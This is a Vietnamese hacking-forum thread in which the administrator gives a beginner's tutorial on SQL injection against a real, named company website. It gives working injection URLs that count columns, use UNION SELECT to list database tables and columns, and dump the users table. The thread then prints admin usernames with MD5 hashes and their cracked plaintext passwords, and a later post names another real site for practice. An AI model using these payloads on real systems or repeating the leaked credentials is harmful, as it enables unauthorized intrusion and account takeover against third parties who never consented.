• Downloading from our site will require you to have a paid membership. Upgrade to a Premium Membership from 10$ a month today!

    Dont forget read our Rules! Also anyone caught Sharing this content will be banned. By using this site you are agreeing to our rules so read them. Saying I did not know is simply not an excuse! You have been warned.

Hướng dẫn hack site từ lỗi SQL

Admin

Well-Known Member
Staff member
Administrator
Hướng Dẫn Hack website lỗi MYSQL cho newbie:
Bước 1 : Tìm Đường link bị lỗi
+) Search đường link bi lỗi, ví dụ: http://www.konka.co.nz/productdetail.php?id=34
+) Kiểm tra đường link có bị lỗi hay ko bằng cách thêm dấu " ' ": http://www.konka.co.nz/productdetail.php?id=34
+) Nó hiện ra lỗi nè: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near'\'' at line 1
Bước 2 : Xác Định Số Cột Có Trong Database
+) Chèn sau url đoạn mã : order by … .-- (… là giá trị số, thứ cho đến khi nào link bị lỗi thì dừng lại )
Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 order by 4--
+) Site vẫn không hiện ra lỗi, tiếp tục thử:
http://www.konka.co.nz/productdetail.php?id=34 order by 20--
Nó hiện ra lỗi rồi kìa: Warning: mysql_fetch_array(): suppliedargument is not a valid MySQL result resource in /usr/local/www/vhosts/konka.co.nz/httpdocs/productdetail.php on line 26
+) Chứng tỏ số cột cần tìm nằm giữa 4 và 20, tiếp tục thử:
http://www.konka.co.nz/productdetail.php?id=34 order by 10--
+) Nó ko hiện ra lỗi, chứng tỏ số cột cần tìm nằm giữa 10 và 20, tiếp tục thử
http://www.konka.co.nz/productdetail.php?id=34 order by 15--
+) Vẫn không hiện ra lỗi, tiếp tục:
http://www.konka.co.nz/productdetail.php?id=34 order by 16—
Ah` ha, nó ra lỗi rồi: Warning: mysql_fetch_array(): suppliedargument is not a valid MySQL result resource in /usr/local/www/vhosts/konka.co.nz/httpdocs/productdetail.php on line 26
Suy ra số cột có trong database là 16 -1 =15
Ok. Bắt đầu khai thác tiếp.
Bước 3: Exploit Tên Các Tables TRong Database:
+) Đánh sau link lỗi đoạn mã: and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
Mục đích: Tìm cột bị lỗi để khai thác từ cột đó khai thác ra toàn bộ database.
Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 and1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
+) Ok! Đã tìm ra cột bị lỗi: đólà số “ 3 ”, tiếp tục khai thác, chèn đoạn mã này vào số 3: unhex(hex(group_concat(table_name))) và câu lệnh sau số 15: from information_schema.tables
Ví du: http://www.konka.co.nz/productdetail.php?id=34 and1=0 union select 1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables--
+) Nó đa hiện ra toàn bộ tênbảng có trong database:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN _USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEG ES,STATISTICS,TABLES, TABLE_CONSTRAINTS, TABLE_PRIVI LEGES, TRIGGERS,USER_PRIVILEGES,VIEWS,active_guests,active_users,banned_users,tb_cat,tb_news,tb_news_ category,tb_page,tb_page_category,tb_product,tb_pr oduct_category,tb_product_model,tb_product_pixel,t b_product_price, tb_product_selection,tb_product_su b_category,tb_return,tb_return_comments,tb_return_ status,users
+) Ta chú ý thấy table có tên users sẽ chứa thông tin về tài khoản admin. Ok, ta sẽ khai thác table này:
Chèn đoạn mã này vào số 3: unhex(hex(group_concat(column_name))) và câu lệnh sausố 15: from information_schema.columns where table_name=0x7573657273--
lưu ý: 7573657273 chính là users ở dạng hex, ta có thểchuyển đổi từ dạng chuỗi sang dạng hex, bằng cách: vao google đánh:” convert string to hex” sẽ có link chuyển đổi ở đâu tiên: Convert String To Hexadecimal Online
Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 and1=0 union select 1,2, unhex(hex(group_concat(column_name))),4,5,6,7,8,9, 10,11,12,13,14,15 from information_schema.columns where table_name=0x7573657273--
Ok, ta đã có thông tin về têncác cột trong table “users”:
username,password,userid,userlevel,email,timestamp
Chúng ta đã thấy cột username và password, tiếptục khai thác để lấy thông tin
Bước 4:
+) Chèn đoạn mã sau vào số3: group_concat(username,0x3a,password) và sau số 15 sẽ là: from users-- (đây chính là table chứa username và password mà ta đang khai thác).
Lưu ý: 0x3a chính là ký tự “:” ngăn cách username và password, hoặc 0x2f hay 0x7c là “/”
Ví dụ: : http://www.konka.co.nz/productdetail.php?id=34 and1=0 union select 1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15 from users--
+) Ok, ta đã thấy username và password dưới dạng mã hóa md5:
admin:e10953e3b5537c441aa16defc89359b9,
admin1:e00c f25ad42683b3df678c61f42c6bda,
test1:147538da338b770 b61e592afc92b1ee6
+) Bây giờ ta giải mã password:
Vào link: md5cracker.org | The Cracking Engine for MD5-Hashes
Ta giải mã được password của username: admin là : linwood36
Username: admin1 là: admin1
Username: test1 là : testt
Bước 5:
+) Tìm link admin và đăng nhập vào ( đây là nhiệm vụ của bạn nhé!).( Bạn có thể sử dụng tool havij hoặc find admin)
Kết luận: +) Đây là dạng hack website lỗi SQL rất cơ bản, Mình muốn giới thiệu cho các newbie băt đầu làm quen với hack web, các pro trình độ cao rồi đừng có chém nhá
+)Còn các trang web lỗi SQl thì nhiêu vô kể, các bạn có thể tự tìm lấy, tất nhiên mỗi lỗi có những cách khai thác khác nhau.

----------> Bổ sung bài viết lúc 07:21 <----------> Bài viết trước lúc 07:20 <----------

Site cho anh em thực hành
Accommodation, Golf, Fishing, Walking, Cycling, Dining, Shopping, Events Guide, Business and more @ Killarney.ie
 
Vãi hàng. Tìm lỗi ntn hả anh.
 
Nó lỗi giống sai cú pháp php đó em
 

Facebook Comments

Similar threads
Thread starter Title Forum Replies Date
starmanh Hướng dẫn Hướng dẫn hack data tốc độ cao APP 1.1.1.1 Phần mềm 0
dammechiase Hack Dream League Soccer 2019 Mới Nhất -Hướng Dẫn Mod Đội Hình Việt Nam AFF CUP Buff Chỉ Số Dream League Soccer 2019 Trò chơi 0
dammechiase Hướng Dẫn Hack Dream League Soccer 2019 Đội Hình AC Milan Vô Hạn Coins Trò chơi 0
dammechiase Download Tải Game Beach Head 2000 – Game bắn súng cực hay hướng dẫn hack không hết đạn Trò chơi 0
K Thủ thuật Hướng dẫn hack game Phở & Angry Dog Crack, hack, mod, ghép game, ứng dụng 0
L Video hướng dẫn tăng like facebook, hack like facebook, auto like facebook Video, clip 0
H Share Video Hướng Dẫn Chi Tiết Hack Băng Thông Mimax Viettel Thủ thuật ĐTDĐ 0
Admin Video hướng dẫn hack like facebook Hacking 4
H Hướng dẫn Hướng dẫn Hack Phone S40 Chi Tiết Đơn All Shared Scripts 0
W Hướng dẫn hack crack mod game mobie part 1 Crack, hack, mod, ghép game, ứng dụng 0
Admin Google hướng dẫn xử lý khi website bị hack Khác 5
D Crack Hướng dẫn hack java nâng cao với bytecode Editor Crack, hack, mod, ghép game, ứng dụng 0
B Hướng dẫn hack level, exp, shop game offline toàn tập chi tiết Crack, hack, mod, ghép game, ứng dụng 6
taplamdaik Hướng dẫn Hack mặc đồ army đã có hướng dẫn bằng video Thủ thuật ĐTDĐ 1
X Help Admin hướng dẫn em hack pp và cc được không. Hacking 6
K Hướng Dẫn Hack Pass Admin Forum VBB. Hacking 4
chickIT Hướng dẫn xử lý website sau khi bị hack. Bảo mật 3
Admin Hướng dẫn hack wap xtgem *** Security - Local - Hacking 5
Kidblood Hướng dẫn hack pass yahoo vip Hacking 0
S Hướng dẫn sử dụng spy-net mr.manhduc hack pass game các loại All Shared Scripts 3
tubotocdo Hướng dẫn Hack Shop Java Game với Bytecode Editor s40 Thủ thuật ĐTDĐ 18
blog4me Xin hướng dẫn chạy shell hack forum Security - Local - Hacking 13
katy Android Hướng dẫn đổi điểm KNDL và điểm tích lũy MobiFone lấy data Điện thoại di động 0
katy Android Hướng dẫn đổi điểm KNDL và điểm tích lũy MobiFone lấy data Điện thoại di động 0
katy Android Hướng dẫn đổi điểm KNDL và điểm tích lũy MobiFone lấy data Điện thoại di động 0
4gfree HƯỚNG DẪN BUG DATA NHÀ MẠNG MIỄN PHÍ Tin tức CNTT 0
katy Android Hướng dẫn thanh toán cước trả sau Mobifone nhận chiết khấu cao Điện thoại di động 10
vinhdlp Hướng dẫn Hướng dẫn cách ứng tiền mạng Viettel đơn giản cho thuê bao Mạng internet 0
cuongpro9x HƯỚNG DẪN - ĐĂNG KÝ TÀI KHOẢN NGÂN HÀNG MBBANK NGAY TẠI NHÀ Trò chuyện linh tinh 0
nutevnn Help Nhờ hướng dẫn fix html trong PHP PHP 0
F Hướng dẫn xây dựng rạp phim tại nhà với Kodi Tin khoa học, sản phẩm mới 1
huongbtph Hướng dẫn viết bài viết chuẩn Seo Hosting / Domain 0
V Hướng dẫn tạo logo giống Xenforo Xenforo 4
tunglamed Hướng dẫn thuê bao MobiFone kiểm tra tin nhắn mạo danh ngân hàng Điện thoại di động 4
cuongpro9x Hướng dẫn buff key 1.1.1.1 tự làm tại nhà Mạng internet 1
cuongpro9x Hướng dẫn xem tổng số tiền đã mua hàng trên shopee Trò chuyện linh tinh 0
cuongpro9x Hướng dẫn cài và kích hoạt ExpressVPN Phần mềm 0
Admin Hướng dẫn tải video tiktok không bản quyền bởi tuoitreit.vn - download video tiktok without watermark Thảo luận chung 0
Admin Hướng dẫn fix lỗi tắt kiếm tiền (TKT) lỗi quốc gia Ad Breaks Tut, tool, mmo 0
dammechiase Dowload Phần mềm Adobe Photoshop CC 2018 mới nhất Hướng Dẫn Cài Đặt Phần mềm 0
dammechiase Download Tải Office 2016 Full – Video hướng dẫn cài đặt chi tiết bản chuẩn nhất Phần mềm 0
dammechiase Dowload Phần mềm CorelDRAW Graphics Suite X9 Mới Nhất Full Crack Bản chuẩn kèm hướng dẫn cài đặt Phần mềm 0
dammechiase Tải bộ cài Office 2007 - Hướng dẫn cài đặt Office 2007 chi tiết Phần mềm 0
dammechiase Dowload phần mềm UltraISO Mới nhất phần mềm tạo ổ đĩa ảo mới nhất full key bản chuẩn kèm hướng dẫn Phần mềm 0
T Hướng dẫn làm việc local repo và remote repo trong Git Tin tức CNTT 0
T Hướng dẫn tìm (lookup) dữ liệu trong bảng tính (Excel/GoogleSheets) Tin tức CNTT 0
cuongpro9x Share Hướng Dẫn Nhận Free Domain .Co.Uk 1 Yea Chia sẻ mã giảm giá 3
N Hướng dẫn thiết kế tờ rơi Poster cafe bằng Photoshop. Góc thành viên học tập 0
Admin Hướng dẫn nâng cấp từ Windows 10 Home Single Language lên Enterprise và Pro - How to upgrade Windows 10 Home SL to Enterprise and Pro Hệ điều hành 6
N Hướng dẫn thiết kế theo đeo nhân viên bằng Photoshop Góc thành viên học tập 0

Similar threads

New posts New threads New resources

Back
Top